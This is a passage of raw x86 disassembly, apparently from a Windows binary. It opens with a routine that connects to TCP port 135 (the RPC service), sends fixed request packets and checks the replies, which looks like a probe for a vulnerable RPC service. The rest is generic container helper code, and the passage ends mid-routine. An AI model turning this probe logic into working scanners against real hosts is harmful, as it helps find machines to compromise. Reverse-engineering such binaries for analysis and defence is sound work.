loc_4216E7:				; CODE XREF: ___:004216D8j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42170D:				; CODE XREF: ___:004216D5j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_421869
		cmp	esi, 0FFFFFFFFh
		jz	loc_421869
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_421862
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443D90
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_421862
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_421862
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_421862
		push	0
		push	18h
		push	offset dword_443E04
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_421862
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_421862
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_421862
		push	10h
		push	offset loc_443DDC
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421831
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421831:				; CODE XREF: ___:0042180Ej
		push	10h
		push	offset dword_443DF0
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421862:				; CODE XREF: ___:0042177Bj
					; ___:00421796j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_421869:				; CODE XREF: ___:0042171Ej
					; ___:00421727j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4218F0:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421910	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421910	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421950	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_421950	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421990	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_421990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A00	proc near		; CODE XREF: sub_4014D8j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EBF
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A40	proc near		; CODE XREF: sub_40196Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EBF
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421A40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421A70	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_421A70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AB0	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421AB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AD0	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421AD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AF0	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421AF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B20	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421B50	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421B50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421B90	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421B90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D75
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C40	proc near		; CODE XREF: sub_4013EDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D75
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421C40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421C70	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421C70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CB0	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421CB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CD0	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421CD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CF0	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421CF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D20	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D84
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DF0	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421DF0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EBF
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421E90	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421EEA


loc_421EA8:				; CODE XREF: sub_421E90+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421EA8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421EEA:				; CODE XREF: sub_421E90+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F20	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421F20	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F35
		mov	edi, esi


loc_421F35:				; CODE XREF: ___:00421F31j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421F4A
		mov	edi, esi


loc_421F4A:				; CODE XREF: ___:00421F46j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F70	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421F70	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F90	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421F90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FB0	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421FB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FD0	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421FD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422020	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422020	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422050	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_422050	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D75
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4220F0	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_42214A


loc_422108:				; CODE XREF: sub_4220F0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422108
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42214A:				; CODE XREF: sub_4220F0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_4220F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422180	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_422180	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_422195
		mov	edi, esi


loc_422195:				; CODE XREF: ___:00422191j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4221AA
		mov	edi, esi


loc_4221AA:				; CODE XREF: ___:004221A6j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221D0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_4221D0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221F0	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4221F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422230	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422230	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422280	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422280	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4222E0	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_4222E0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4223C0	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4223C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4223F0	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_4223F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422410	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422410	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422440	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422440	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422460	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_422460	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422480	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
